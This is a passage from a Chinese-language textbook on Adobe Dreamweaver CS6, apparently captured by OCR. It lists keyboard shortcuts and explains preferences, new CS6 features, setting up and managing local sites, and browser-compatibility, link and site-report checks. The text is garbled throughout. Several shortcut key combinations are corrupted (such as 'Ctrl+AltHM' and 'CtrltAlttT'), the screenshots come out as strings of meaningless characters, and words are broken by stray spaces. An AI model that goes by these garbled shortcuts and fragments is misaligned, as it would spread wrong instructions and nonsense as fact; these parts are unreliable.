Ctrl+I: 倾斜 选 定 文本 。 

Shift+Ctrl+E: 编辑 样式 表 。 

Tab: 移动 到 下 一 单元 格 。 

Shift+Tab: 移动 到 上 一 单元 格 。 

Ctrl+M: 插入 行 〈 在 当前 行 之 前 )。 
Shift+Ctr+M: 删除 当前 行 。 

Shift+Ctrl+A: 插入 列 。 

Shift+Ctrl+-: 〈 连 字符 ) 删除 列 。 

Ctrl+AltHM: 合并 单元 格 。 

Ctrl+Alt+S: 拆 分 单元 格 。 

Ctrl+Space bar: 更 新 表格 布局 (在 “快速 表格 编辑 ”模式 中 强制 重 绘 )。 
F12: 在 主 浏览 器 中 预览 。 

ShiftHCtrlHAlttD: FTP 取出 。 
Shift+Ctrl+Alt+U: FTP 存 回 。 

Alt+tF8: 查看 站 点 地 图 。 

Alt+F5: 刷新 远 端 站 点 。 

Ctrl+AltrI: 插入 图 片 。 

CtrltAlttT: 插入 表格 。 

Ctrl+AlttF: 插入 Flash 影片 。 

Ctrl+AlttD: 插入 Shockwave 和 Director 影片 。 
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Ctrl+Alt+A: 插入 命名 锚 记 。 
4.4.2 Dreamweaver 的 首选 参数 


Dreamweaver 工作 时 ， 有 很 多 工作 参数 可 供 选 择 。 对 这 些 参数 进行 设置 ， 可 以 使 网 页 设计 工作 更 
方便 。 在 Dreamweaver CS6 中 选择 “编辑 ” | “首选 参数 ”命令 ， 即 可 打开 Dreamweaver 的 “首选 参 
数 ” 对 话 框 。 如 图 4-39 所 示 是 在 首选 参数 中 设置 工作 界面 的 颜色 与 不 同 代 码 的 颜色 ， 单 击 对 话 框 中 的 
颜色 ， 可 以 为 工作 的 各 种 代码 设置 不 同 的 显示 颜色 。 单 击 “确定 ”按钮 ， 完 成 设置 。 


加 二 0 
可 请 手 区 域 四 ): 加 | ac 
褒 套 可 编辑 6) 加 | #03 
说 定 的 区 域 山 [5 PC 
库 硕 目 8): [| PC 
其 它 太 商 标 答 中) [| 基 


活动 数据 
未 解释 :站 jx 
已 M9 ): 站 jz 


图 4-39 ee 的 首选 参数 
45 常见 问题 


Dreamweaver CS6 较 以 前 的 Dreamweaver 版 本 有 了 较 大 的 改进 ， 本 节 来 了 解 新 版 本 的 一 些 改变 。 
4.5.1 Dreamweaver CS6 的 新 功能 


Dreamweaver CS6 与 以 前 版 本 的 Dreamweaver 的 最 主要 区 别 是 改善 的 FTP 性 能 、 更 新 的 “实时 视 
图 ”和 “多 屏幕 预览 ”面板 。Dreamweaver CS6 新 增加 的 功能 如 下 。 

回 ”流体 网 格 布局 : 使 用 基于 CSS3 的 自 适应 网 格 版 面 系 统 ， 来 创建 跨 平 台 和 跨 浏 览 器 的 兼容 网 
页 设计 。 

回 改善 的 FTP 性 能 : 利用 重新 改良 的 多 线程 FTP 传输 工具 ， 可 节省 上 传 大 型 文件 的 时 间 。 

回 ”增强 型 jQuery Mobile 支持 : 使 用 更 新 的 jQuery Mobile 支持 , 可 为 1OS 和 Android 平台 建立 本 
地 应 用 程序 。 

回 ”更 新 的 PhoneGap 支持 : 更 新 的 Adobe PhoneGap 支持 可 轻松 为 Android 和 iOS 建立 和 封装 本 


地 应 用 程序 。 


NN Ras mw ase 


CSS3 转换 : 可 将 CSS 属性 变化 制 成 动画 转换 效果 ， 使 网 页 设计 棚 棚 如 生 。 
更 新 的 实时 视图 : 使 用 更 新 的 “实时 视图 ”功能 可 在 发 布 前 测试 页 面 。 
更 新 的 多 屏幕 预览 面板 : 利用 更 新 的 “多 屏幕 预览 ”面板 ， 可 检查 智能 手机 、 平 板 电脑 和 台 
式 机 所 建立 项 目的 显示 画面 。 

Dreamweaver CS6 还 有 一 些 其 他 新 特性 , 如 它 整合 了 Business Catalyst 服务 ，Business Catalyst 面板 
连接 并 编辑 我 们 利用 Adobe Business Catalyst 建立 的 网 站 。 


4.5.2 ”什么 是 网 页 三 剑客 


加 回 回 


Adobe 推出 的 Dreamweaver CS6、Photoshop CS6、Flash CS6 是 非常 理想 的 网 站 开发 软件 组 合 ， 被 

形象 地 称 为 “网 页 三 剑客 ”。 

回 Dreamweaver CS6 是 一 个 所 见 即 所 得 的 可 视 化 网 站 开发 工具 ， 主 要 用 于 网 页 的 开发 。 用 这 种 
方式 开发 网 站 时 ， 不 需要 编写 多 少 HTML 代码 ， 在 设计 视图 中 排版 的 网 页 与 实际 的 网 页 完全 
相同 。 

回 ”Photoshop CS6 是 一 款 功 能 强大 的 平面 设计 软件 ， 可 以 用 来 设计 各 种 网 站 图 片 。 

Flash CS6 是 一 款 Flash 设计 软件 。 精 美的 动画 可 以 增强 网 页 的 动态 效果 。 

网 页 三 剑客 最 大 的 优势 就 是 完美 地 结合 了 这 3 种 工具 , 3 种 软件 都 针对 网 页 设计 的 一 个 方面 , 各 自 

完成 不 同 的 任务 ， 各 种 功能 又 互相 联系 。 

以 前 的 “网 页 三 剑客 ” 指 的 是 Dreamweaver MX、Flash MX、Fireworks MX 3 种 网 站 开发 工具 ， 是 

Macromedia 公司 的 产品 .2006 年 ,Macromedia 公司 与 Adobe 公司 达成 收购 协议 , Adobe 收购 Macromedia 
及 相关 软件 ， 从 而 有 了 现在 的 “网 页 三 剑客 ”。 


4.6 小 结 


Dreamweaver 是 一 个 功能 强大 的 网 站 开发 工具 ， 不 仅 可 以 用 来 开发 静态 网 站 ， 也 常用 来 开发 ASP、 
PHP、JSP 等 具有 管理 功能 的 动态 网 站 。 制 作 静 态 网 站 是 进行 动态 网 站 开发 的 基础 。 

在 静态 网 站 的 设计 中 ， 最 主要 的 内 容 是 网 页 的 布局 和 排版 。 网 页 的 布局 和 页 面 的 分 割 一 般 是 使 用 
表格 来 实现 的 。 表 格 的 嵌 套 和 表格 中 的 图 片 可 以 布局 出 美观 大 方 的 网 页 。 在 插入 表格 时 ， 需 要 合理 安 
排 表格 行列 的 划分 和 组 合 。 

网 页 的 设计 是 一 个 美术 设计 的 过 程 ， 需 要 在 学 习 和 工作 中 认真 练习 和 体会 ， 从 美术 学 和 用 户 角 度 
思考 ， 开 发 出 功能 强大 、 界 面 美 观 的 网 页 。 
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简单 地 说 ， 站 点 就 是 一 个 网 站 。 很 多 网 页 放 在 一 起 ， 用 超级 链接 实现 各 种 逻辑 关系 ， 
再 分 为 首页 、 二 级 页 面 、 信 息 页 面 等 内 容 ， 这 些 内 容 和 数据 构成 了 一 个 站 点 。 但 是 在 网 站 
建设 中 ， 所 有 的 网 页 都 是 独立 的 文件 ， 没 有 多 少 工程 概念 ， 这 就 对 整个 项 目 管 理 带 来 了 一 
些 难 度 ， 在 工作 中 很 难 体现 出 这 些 文件 的 逻辑 关系 和 层次 关系 。 

Dreamweaver 为 了 更 好 地 体现 出 网 站 的 工程 概念 ， 把 网 站 中 的 网 页 放 在 一 起 进行 统 
一 管理 ， 并 把 这 些 管理 功能 与 服务 器 实现 同步 ， 集 成 服务 器 的 管理 功能 ， 使 工作 的 网 站 建 
立 起 很 好 的 工程 概念 ， 这 就 是 站 点 。 
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5.1 创建 本 地 站 点 


Dreamweaver 可 以 方便 地 管理 本 地 站 点 和 服务 器 站 点 ， 可 以 在 本 地 创建 多 个 站 点 实现 多 个 工程 的 
管理 。 同 时 ，Dreamweaver 提供 了 功能 强大 的 服务 器 管理 功能 ， 可 以 方便 地 实现 本 地 文件 与 服务 器 文 
件 的 同步 ， 还 可 以 大 大 简化 服务 器 上 网 站 的 管理 。 


5.1.1 使 用 站 点 向 导 创 建 本 地 站 点 


在 Dreamweaver CS6 中 ， 可 以 使 用 站 点 向 导 创 建 本 地 站 点 。 站 点 向 导 提供 了 友好 的 界面 ， 用 户 只 
需要 按照 向 导 中 的 提示 填写 相关 内 容 ， 即 可 完成 本 地 站 点 的 创建 。 操 作 步 又 如 下 : 

(1) 启动 Dreamweaver CS6， 选 择 “ 站 点 ”|“ 管 理 站 点 ”命令 ， 弹 出 “管理 站 点 ”对 话 框 ， 如 
图 5-1 所 示 。 


本 
区 8 点 
EE 
| (i __ 新建 法 避 | 新 省 BuslnessCatarst 让 各 
[er | [mm | 
图 5-1 管理 站 点 


(2) 单 击 “ 新 建站 点 ”按钮 ， 弹 出 “站 点 设置 对 象 ”对 话 框 ， 如 图 5-2 所 示 。 


EJ 


E ee 
Ee Ee 于 和 


您 可 以 在 此 处 为 Dreamweaver 站 点 选择 本 地 文件 夫 和 名 称 。 
assf: [ET | 
地 让 人 二: 全 


5-2 “站 点 设置 对 象 ”对 话 框 


102 


外 


先 5 部 名 奸 管 于 让 二 性 


(3) 在 “站 点 名 称 ”文本 框 中 输入 网 站 的 名 称 ， 在 “本 地 站 点 文件 夹 ” 文 本 框 中 直接 输入 网 站 的 
本 地 地 址 或 者 单 击 “ 本 地 站 点 文件 夹 ”文本 框 右边 的 “浏览 文件 夹 ” 按 钮 国 ， 弹 出 “选择 根 文件 夹 ” 
对 话 框 ， 选 择 站 点 文件 ， 如 图 5-3 所 示 。 


到 
re 
二 ee hs . 
您 可 以 在 此 处 为 Dreamweaver 站 点 选择 本 地 文件 夹 和 名 称 。 
Mm 
本 地 让 点 立 件 记 : 铂 
可 画 
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图 5-3 站 点 设置 对 象 


(4) 在 “站 点 设置 对 象 ”对 话 框 的 “高 级 设置 ”下 拉 菜 单 中 选择 “本 地 信息 ”选项 ， 如 图 5-4 
所 示 。 
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EE 了 

图 5-4 “本 地 信息 ”选项 

(5) 在 “本 地 信息 ”选项 中 可 以 设置 如 下 参数 。 

回 ”默认 图 像 文件 夹 : 默认 图 像 文件 夹 的 路 径 ， 可 以 直接 输入 或 单 击 “文件 夹 浏览 ”按钮 加 选择 
文件 夹 。 

回 “Web URL: 已 完成 的 站 点 将 使 用 的 URL。 

回 启用 缓存 : 是 否 创 建 本 地 缓存 以 提高 链接 和 站 点 管理 任务 的 速度 。 

(6) 在 “遮盖 ”选项 中 可 以 设置 如 下 参数 ， 如 图 5-5 所 示 。 

回 ”启用 遮盖 : 选中 后 激活 文件 遮盖 。 

回 ”遮盖 具有 以 下 扩展 名 的 文件 : 选中 后 ， 可 对 特定 文件 名 结尾 的 文件 使 用 遮盖 。 


图 
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这 苦 用 于 在 所 有 目 点 择 作 中 拓 了 指定 的 文件 夫 和 文件 。 
版 本 控制 
高 加 设置 hy 
本 地 信息 口 六 关内 有 以 下 扩展 入 件 : 
这 盖 EE 
设计 备注 
文件 视 国 5 
Contrbute 
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5-5 “遮盖 ”选项 


(7) 在 开发 站 点 时 ， 常 常 需要 记录 一 些 开发 过 程 中 的 信息 或 备 忘 ， 并 要 把 这 些 信息 或 备 忘 上 传 到 
服务 器 上 供 别 人 访问 。 在 “设计 备注 ”选项 中 可 以 设置 如 下 参数 ， 如 图 5-6 所 示 。 


| 
设计 备注 让 您 可 以 治 加 、 编 加 和 共享 与 文件 相关 的 特别 信息 ， 如 文件 状态 
注 条 或 入 文件 名称 等 。 


Dreamweaver 也 使 用 设计 备注 以 与 Fireworis 和 Flash 集成 。 
回 维护 设计 备注 
清理 设计 备注 


口 启用 上 传 并 共享 设计 备注 
该 选项 让 您 可 以 和 其 他 工作 在 该 站 点 上 的 人 员 共 享 设计 备注 和 文件 视图 列 。 


图 5-6 “设计 备注 ”选项 


回 ”维护 设计 备注 : 用 来 保存 设计 备注 。 
回 ”清理 设计 备注 : 单 击 此 按钮 可 以 删除 以 前 保存 的 设计 备注 。 
回 ”启用 上 传 并 共享 设计 备注 : 在 上 传 或 取出 文件 的 时 候 ， 设 计 备 注 上 传 到 “远程 信息 ”中 设置 
的 远 端 服 务 器 上 。 
(8) 在 “文件 视图 列 ” 选 项 中 可 以 进行 如 下 设置 。 此 选项 常用 来 设置 站 点 管理 器 中 的 文件 浏览 
窗口 所 显示 的 内 容 ， 如 图 5-7 所 示 。 
名 称 : 显示 文件 名 。 
备注 : 显示 设计 备注 。 
大 小 : 显示 文件 大 小 。 
类 型 : 显示 文件 类 型 。 


千古 奸 王 管 于 这 对， 
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图 5-7 “文件 视图 列 ” 选 项 


修改 : 显示 修改 内 容 。 
取出 者 : 正在 被 谁 打开 和 修改 。 
(9) 在 Contribute 选项 中 ， 如 果 选 中 “启用 Contribute 兼容 性 ” 复 选 框 ， 可 以 提高 与 Contribute 
用 户 的 兼容 性 ， 如 图 5-8 所 示 。 
中 


5-8 ”Contribute 选项 


(10) 在 “模板 ”选项 中 ， 选 中 “不 改写 文档 相对 路 径 ” 复 选 枉 ， 可 避免 现 有 页 面 中 的 相对 路 径 
被 改写 。 

(11) 在 Spry 选项 中 ， 在 使 用 Spry Widget 的 情况 下 ， 指 定 存储 资源 的 位 置 。 

(12) 在 Web 字体 中 ， 如 果 使 用 了 专门 的 字体 ， 还 需要 指定 字体 的 存储 位 置 。 

(13) 经 过 了 这 些 设置 ， 就 完成 了 一 个 Dreamweaver 本 地 站 点 的 建立 。 单 击 “ 保 存 ” 按 钮 ， 结 束 设 
置 ， 如 图 5-9 所 示 。 完 成 站 点 的 设置 以 后 ， 可 以 在 文件 管理 器 中 看 到 站 点 中 的 文件 和 文件 夹 ， 如 图 5-10 
所 示 。 


0 


您 可 以 在 此 处 为 Dreamweaver 站 点 选择 本 地 文件 夫 和 名 称 。 
站 点 名 称 : [ne 
本 地 站 点 文件 志 : [Deb mewweb 


ZLcsstl 


| 
双 GZ SI 同 


PP | 上 
人 工人 个 本 地 项 目 被 选中 , 总 共 : [ 朋 志 -二 ] 


图 5-9 保存 本 地 站 点 设置 图 5-10 站 点 中 的 文件 
5.1.2 ”选择 和 更 改 本 地 工作 站 点 


使 用 本 地 站 点 ， 可 以 方便 地 对 站 点 中 的 文件 和 文件 夹 进行 管理 和 操作 。 在 “文件 ”面板 中 ， 可 
以 看 到 网 站 大 概 的 结构 ， 可 以 在 文件 夹 下 拉 菜 单 中 选择 工作 的 文件 夹 。 如 果 选 择 的 是 相应 的 站 点 名 
称 ， 就 会 打开 这 个 站 点 作为 当前 的 工作 站 点 。 这 时 就 可 以 对 站 点 内 的 文件 进行 方便 的 操作 ， 对 这 个 
站 点 的 远程 服务 器 进行 方便 的 管理 。 选择 不 同 的 站 点 时 , 可 以 更 改 当 前 的 工作 站 点 , 具体 操作 如 图 5-11 
所 示 。 


图 5-11 选择 和 更 改 工作 站 点 


5.1.3 ”本 地 站 点 和 远程 服务 器 同步 


单 击 站 点 管理 器 中 的 同步 工具 ， 可 以 完成 本 地 文件 和 远程 服务 器 文件 的 同步 。 文 件 的 同步 就 是 将 
本 地 更 新 过 的 文件 上 传 到 服务 器 ， 或 者 是 将 服务 器 上 的 文件 下 载 到 本 地 。 单 击 “ 文 件 ”面板 中 的 “ 展 
开 / 折 又 ”按钮 四 ， 可 以 展开 面板 ， 分 别 查 看 本 地 站 点 和 远 端 站 点 ， 并 且 可 以 测试 与 选择 站 点 关联 的 服 
务 器 文件 ， 如 图 5-12 所 示 。 
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图 5-12 站 点 文件 的 远程 同步 
5.2 管理 站 点 文件 


站 点 主要 是 实现 文件 的 管理 功能 。 站 点 为 网 站 文件 的 管理 实现 了 很 多 方便 有 效 的 方法 。 在 工作 时 ， 
可 以 尽量 采用 站 点 来 管理 和 组 织 网 站 的 文件 。 


5.2.1 创建 文件 夹 和 文件 


站 点 对 网 站 文件 的 管理 主要 使 用 右 击 相应 的 文件 或 文件 夹 的 方法 来 实现 。 单 击 站 点 管理 器 中 相关 
的 文件 ， 即 可 对 文件 或 文件 夹 进行 操作 。 

(1) 右 击 一 个 文件 ， 在 弹出 的 快捷 菜单 中 选择 “新 建文 件 ” 命 令 ， 新 建 一 个 名 称 为 untitled.asp 的 
文件 。 

(2) 右 击 一 个 文件 夹 ， 在 弹出 的 快捷 菜单 中 选择 “新 建文 件 夹 ”命令 ， 新 建 一 个 名 称 为 untitled 
的 文件 夹 。 

(3) 也 可 以 选择 “文件 ”| “新 建 ” 命 令 ， 在 站 点 中 新 建 一 个 文件 或 文件 夹 。 


5.2.2 ”移动 和 复制 文件 


在 站 点 管理 器 中 ， 可 以 对 文件 进行 复制 和 移动 操作 。 这 些 操作 是 通过 对 文件 的 右 击 和 右键 菜单 来 
完成 操作 的 。 具 体 步骤 如 下 所 示 。 

(1) 在 如 图 5-13 所 示 的 站 点 管理 器 中 右 击 一 个 文件 ， 在 弹出 的 快捷 菜单 中 选择 “编辑 ” |“ 复制” 
命令 ， 即 可 复制 一 个 文件 。 

(2) 右 击 一 个 文件 ， 在 弹出 的 快捷 菜单 中 选择 “编辑 ”|“ 剪 切 ”命令 ， 即 可 剪 切 一 个 文件 。 

(3) 右 击 一 个 文件 ,在 弹出 的 快捷 菜单 中 选择 “编辑 ”| * 重 命名 ”命令 ， 即 可 对 一 个 文件 重 命名 。 

(4) 选择 一 个 文件 ， 当 再 次 单 击 这 个 文件 时 ， 文 件 名 会 以 高 亮 可 编辑 状态 显示 ， 这 时 可 以 输入 新 
的 文件 名 对 文件 进行 重 命名 ， 如 图 5-14 所 示 。 
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图 5-13 在 站 点 管理 器 中 管理 文件 图 5-14 ”站 点 中 对 文件 重 命名 


这 些 文件 操作 在 网 站 的 文件 夹 中 也 可 以 完成 。 在 资源 管理 器 中 打开 网 站 所 在 的 文件 夹 ， 在 文件 夹 
中 完成 文件 与 文件 夹 的 操作 ， 方 法 与 效果 都 是 一 样 的 。 


5.3 站 点 测试 


网 站 在 上 传 之 前 ， 首 先 要 在 本 地 网 络 进行 测试 和 调试 ， 包 括 页 面 间 链 接 的 测试 与 调试 、 服 务 器 端 
应 用 程序 的 测试 与 调试 、 站 点 及 页 面 的 下 载 时 间 测 试 ， 代 码 的 优化 ， 在 不 同 的 浏览 器 、 操 作 系 统 、 分 
辩 率 下 的 运行 和 显示 测试 等 ， 以 确保 站 点 上 传 后 能 够 正确 运行 。 


5.3.1 检查 浏览 器 的 兼容 性 


对 浏览 器 的 兼容 性 进行 测试 ， 可 以 检查 文档 中 是 否 存 在 目标 浏览 器 所 不 支持 的 任何 标签 、 属 性 、 
CSS 属性 和 CSS 值 ， 此 检查 对 文档 不 进行 更 改 。 

目标 浏览 器 检查 能 够 提供 3 个 级 别 的 潜在 问题 信息 : 错误 、 警 告 和 告知 性 信息 。 

回 ”错误 : 代码 在 特定 浏览 器 中 可 能 导致 严重 的 、 可 见 的 问题 ， 如 导致 页 面 的 某 些 部 分 消失 。 有 

时 ， 当 代码 具有 未 知 效果 时 也 会 被 标记 为 错误 。 

回 ”警告 : 代码 不 能 在 特定 浏览 器 中 显示 ， 但 不 会 导致 严重 的 显示 问题 。 

回 ”告知 性 信息 : 代码 可 能 在 特定 浏览 器 中 不 支持 ， 但 没有 可 见 的 影响 。 

检查 浏览 器 兼容 性 的 方法 如 下 : 

(1) 选择 “窗口 ”|“ 结 果 ”|“ 浏 览 器 兼容 性 ”命令 ， 打开“ 结果 ”面板 ， 并 切换 到 “浏览 器 兼 
容 性 ”选项 卡 ， 如 图 5-15 所 示 。 
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图 5-15 “浏览 器 兼容 性 ”选项 卡 


(2) 单 击 面板 左 侧 的 “检查 浏览 器 兼容 性 ”按钮 〈 绿 色 按钮 ) ， 在 打开 的 下 拉 菜 单 中 选择 “ 设 
置 ” 命令 ， 打 开 “ 目 标 浏览 器 ”对 话 框 。 选 择 要 检查 兼容 性 的 浏览 器 ， 并 设置 浏览 器 的 版 本 ， 如 图 5-16 
所 示 。 


Internet Explorer for Ne. 


图 5-16 “目标 浏览 器 ”对 话 框 


(3) 单 击 “ 确 定 ” 按 钮 ， 然 后 单 击 面板 左 侧 的 绿色 按钮 ， 在 打开 的 下 拉 菜 单 中 选择 “检查 浏览 器 
兼容 性 ”命令 ， 即 可 检查 网 页 在 选择 的 浏览 器 下 的 兼容 性 。 


5.3.2 ”检测 链接 


网 站 设计 完成 以 后 ， 需 要 知道 网 站 的 链接 是 否 正 确 ， 这 就 需要 使 用 Dreamweaver 的 检查 站 点 链接 
功能 。 在 检查 站 点 链接 时 ， 可 以 自动 对 网 站 中 的 所 有 链接 进行 测试 ， 并 且 检 查 出 链接 测试 的 结果 。 

选择 “窗口 ”|“ 结 果 ”|“ 链 接 检 查 器 ”命令 ， 打 开 “ 结 果 ” 面 板 。 在 “链接 检查 器 ”选项 卡 中 单 
击 左 侧 的 “检查 链接 ”按钮 ， 并 在 打开 的 下 拉 菜 单 中 选择 “检查 整个 当前 本 地 站 点 的 链接 ”选项 。 链 
接 检 查 器 就 会 检查 整个 站 点 的 链接 ， 并 将 检查 的 结果 显示 出 来 ， 如 图 5-17 所 示 。 
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旺 示 (5) [ 断 撞 的 说 接 ] ( 镑 接 文件 在 本 地 汇 没 有 找到 ) 
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style.css 
[3 /newweb/indexhtm flashjmain12_v7.swf 


总 共 33 个 ， 如 个 Hi， 不 包 文件。 总共 0 不 榜 按 ， 加 个 正确 ，31 个 上 挤 ，s 赴 外 部 习 接 
5-17 检查 网 站 中 的 链接 


对 于 检查 链接 时 出 现 错误 的 链接 ， 可 以 单 击 这 个 链接 地 址 ， 更 改 到 新 的 链接 页 面 。 
检查 链接 功能 可 以 有 效 避 免 网 站 中 出 现 错误 链接 的 问题 。 已 经 完成 的 网 站 ， 可 以 检查 一 次 页 面 的 
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链接 再 上 传 到 服务 器 。 
5.3.3 ”站 点 报告 


Dreamweaver CS6 有 强大 的 站 点 检测 和 站 点 报告 的 功能 。 利 用 站 点 报告 的 功能 ， 可 以 对 站 点 中 所 
有 的 标签 与 HTML 代码 进行 检测 ， 并 生成 站 点 报告 列表 。 
(1) 选择 “窗口 ” |“ 结果 ”|“ 站 点 报告 ”命令 ， 打 开 “ 结 果 ” 面 板 ， 选 择 “ 站 点 报告 ”选项 卡 ， 
如 图 5-18 所 示 。 


5-18 选择 “站 点 报告 ”选项 卡 


(2) 单 击 “ 报 告 ” 按 钮 ， 打 开 “ 报 告 ”对 话 框 。 在 “报告 在 ”下 拉 列 表 框 中 选择 “整个 当前 本 地 
站 点 ”选项 ， 在 “选择 报告 ”列表 框 中 进行 如 图 5-19 所 示 的 选择 。 


图 5-19 “报告 ”对 话 框 
(3) 单 击 “ 运 行 ”按钮 ， 即 可 生成 站 点 报告 ， 如 图 5-20 所 示 。 
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i Cy ” 
完成 。 


5-20 ”生成 站 点 报告 
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(4) 选择 一 个 报告 ， 单 击 面板 左 侧 的 “更 多 信息 ”按钮 辆 ， 打 开 “ 描 述 ” 对 话 框 ， 在 此 对 话 框 中 
可 以 查看 具体 信息 ， 如 图 5-21 所 示 。 


5-21 “描述 ”对 话 框 


5.4 创建 第 一 个 网 站 并 测试 


按 以 下 步骤 进行 一 次 简单 站 点 建立 和 页 面 链接 检查 练习 。 

(1) 打开 本 书 光盘 ,将 “\ 源 文件 \05\ 站 点 练习 \” 文 件 夹 中 所 有 文件 复制 到 计算 机 中 的 “E:\web1\” 
文件 夹 中 。 

(2) 如 本 章 5.1.1 节 中 的 步骤 新 建 一 个 站 点 ， 站 点 的 名 称 为 “我 的 站 点 ”。 在 站 点 本 地 目录 的 步 
骤 中 ， 选 择 计算 机 中 的 “E:\web1” 作 为 站 点 的 文件 夹 ， 如 图 5-22 所 示 。 


您 可 以 在 此 处 为 Dreamweaver 站 点 选择 本 地 文件 夫 和 名 称 * 


图 5-22 在 新 建 的 站 点 中 选择 文件 夹 


(3) 进行 网 页 链接 检查 。 在 “链接 检查 器 ”选项 卡 中 单 击 左 侧 的 “检查 链接 ”按钮 ， 并 在 打开 的 
下 拉 菜 单 中 选择 “检查 整个 当前 本 地 站 点 的 链接 ”选项 ，Dreamweaver CS6 会 自动 检查 站 点 中 所 有 的 
链接 。 检 查 链接 的 结果 如 图 5-23 所 示 ， 默 认 显 示 的 是 断 掉 的 链接 。 

(4) 在 “链接 检查 器 ”选项 卡 的 “显示 ”下 拉 列 表 框 中 选择 “外 部 链接 ”选项 ， 这 时 会 显示 站 点 
外 链接 。 可 以 用 这 个 方法 检查 网 页 中 站 点 外 链接 是 否 正确 ， 如 图 5-24 所 示 。 
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图 5-23 检查 站 点 范围 内 的 链接 


结果 搜索 | 参考 | 验证 | 浏览 器 兼容 性 检查 ”链接 检查 器 。 站 点 报告 | FTP 记 录 | 服务 器 调式 二 
三 示 (6); | | (法 接 到 站 点 外 的 页 面 , 不 能 检查 ) 
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总 共 11 个 ，8 个 MTNL， 2 个 孤立 文件 。 总 共 19 个 链接 ,13 个 正确 ，4 个 断 挤 ，2 个 外 部 链 
图 5-24 站 点 外 的 链接 


(5) 在 “链接 检查 器 ”选项 卡 的 “显示 ”下 拉 列 表 框 中 选择 “孤立 文件 ”选项 ， 这 时 会 显示 没有 
进入 链接 的 文件 ， 这 样 可 以 检查 本 地 站 点 文件 夹 中 已 经 建立 而 没有 进入 网 站 链接 的 文件 ， 如 图 5-25 所 
示 。 孤 立 网 页 文本 在 网 站 中 没有 被 其 他 的 网 页 链接 ， 不 容易 被 访问 到 ， 可 能 是 网 站 中 的 无 效 文件 。 


【了结 果 搜索 | 参考 | 验证 | 浏览 器 村 容 性 检查 链接 检查 器 站 点 报 省 | FTP 记 录 | 服务 器 汕 式 于 
旺 示 G): [一 有 进入 诈 按 的 文件 ) 
区 
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总 共 11 个 ，8 个 ITWL ， 2 个 孤立 文件 。 总 共 19 个 链接 ，13 个 正确 ,4 个 断 拉 ,2 个 外 部 链 
图 5-25 ”网 页 中 的 孤立 文件 


(6) 按 F12 键 运行 这 个 网 页 ， 效 果 如 图 5-26 所 示 。 这 时 可 以 单 击 各 个 链接 ， 查 看 网 页 的 内 容 。 
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5.5 常见 问题 


在 Dreamweaver 中 ， 站 点 功能 是 从 项 目 工程 的 概念 角度 管理 一 个 本 地 网 站 。 站 点 提供 了 FTP 上 传 
与 下 载 、 文 件 管理 、 网 站 测试 等 功能 ， 可 以 提高 网 站 设计 的 工作 效率 。 在 学 习 时 ， 需 要 理解 站 点 在 网 
站 建设 中 的 功能 ， 在 网 站 设计 时 尽量 使 用 到 站 点 。 


5.5.1 FTP 不 能 上 传 和 下 载 的 问题 


在 进行 站 点 设置 时 ， 如 果 设 置 了 远程 FTP 服务 器 信息 ， 就 可 以 方便 地 实现 文件 的 上 传 和 下 载 的 操 
作 ， 可 以 很 方便 地 实现 文件 与 服务 器 上 网 站 的 同步 。 但 是 ，FTP 服务 器 可 能 有 不 同 的 设置 ， 有 些 FTP 
服务 器 需要 特定 的 FTP 客户 端 软 件 才 可 以 登录 。Dreamweaver 可 能 出 现 无 法 与 远程 服务 器 连接 或 是 连 
接 以 后 无 法 上 传 或 下 载 文件 的 问题 。 


5.5.2 ”FTP 远程 文件 夹 设置 的 问题 


网 站 在 FTP 的 远程 文件 夹 中 ， 可 能 不 是 放 在 根 目录 下 ， 上 传 网 站 需要 把 网 站 上 传 到 FTP 空间 指定 
的 文件 夹 中 ， 这 就 需要 指定 FTP 远程 文件 夹 。 例 如 ， 网 站 需要 上 传 到 根 目 录 下 的 wwwroot 文件 夹 下 ， 
则 需要 把 远程 文件 夹 填写 为 wwwroot/ 或 是 /wwwroot/。 


5.5.3 ”其 他 的 网 站 开发 工具 能 不 能 支持 Dreamweaver 中 的 站 点 


在 开发 工作 中 ， 一 个 站 点 可 以 理解 为 一 个 网 站 。 但 实际 上 ， 站 点 只 是 Dreamweaver 中 的 一 个 工程 。 

Dreamweaver 为 了 便于 对 这 个 工程 的 管理 和 操作 ,制定 了 站 点 的 概念 。 但 在 实际 网 站 中 ,， 仅 是 一 
个 工程 中 的 各 种 网 页 文件 。 在 FrontPage 中 ， 并 没有 站 点 这 个 概念 。 在 FrontPage 中 使 用 的 是 网 站 的 
概念 。 

所 以 ， 在 Dreamweaver 中 建立 的 站 点 ， 并 不 能 在 其 他 的 网 站 开发 工具 中 使 用 。 在 其 他 的 网 站 开发 
软件 中 ， 需 要 重新 定义 工程 或 站 点 。 


5.5.4 怎样 复制 Dreamweaver 中 的 站 点 


Dreamweaver 可 以 把 一 个 网 站 复制 到 另 一 台 计 算 机 上 ， 但 Dreamweaver 中 的 站 点 并 不 会 像 文件 一 
样 被 复制 或 移动 。 当 文件 移动 到 另 一 台 计 算 机 上 以 后 ， 需 要 重新 定义 与 设置 站 点 。 

站 点 只 是 一 台 计 算 机 中 的 Dreamweaver 在 工作 时 的 工程 概念 , 相对 于 Dreamweaver 中 的 相关 设置 ， 
并 没有 某 一 个 工程 文件 ， 但 Dreamweaver 可 以 导出 导入 一 个 站 点 。 

如 图 5-27 所 示 ， 在 站 点 管理 器 中 选择 一 个 站 点 ， 然 后 可 以 导出 一 个 站 点 。 用 同样 的 方法 ， 可 以 导 


入 一 个 站 点 。 
四 


图 5-27 在 Dreamweaver CS6 中 站 点 的 导入 /导出 


5.6 小 结 


本 章 将 网 页 的 设计 从 单一 网 页 设计 上 升 到 了 工程 的 角度 。Dreamweaver 提供 的 站 点 管理 功能 很 好 
地 解决 了 网 站 的 工程 项 目 问题 。 借 助 于 站 点 管理 器 ， 可 以 方便 地 实现 对 本 地 网 站 文件 和 服务 器 上 网 站 
文件 进行 有 效 的 管理 和 操作 。 站 点 地 图 可 以 非常 形象 地 描述 网 站 各 个 网 页 之 间 的 逻辑 联系 ， 链 接 检测 
功能 可 以 便捷 地 对 网 站 中 的 链接 进行 正确 性 验证 。 
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豆 豆 吾 吾 至 


网 页 中 的 主要 内 容 是 文本 、 表 格 、 链 接 、 图 像 、Flash 等 。 文 本 是 网 页 中 最 常用 的 信 
息 表 现 方式 ; 表格 主要 用 于 网 页 内 容 的 布局 ; 链接 实现 不 同 网 页 之 间 的 联系 ， 用 户 可 以 单 
击 链接 实现 不 同 网 页 的 转换 }; 图 像 和 Flash 是 网 页 中 的 多 媒体 内 容 。 

在 制作 页 面 内 容 和 插入 多 媒体 元 素 进行 网 页 排版 时 ， 需 要 注意 3 个 方面 的 内 容 。 (1) 要 
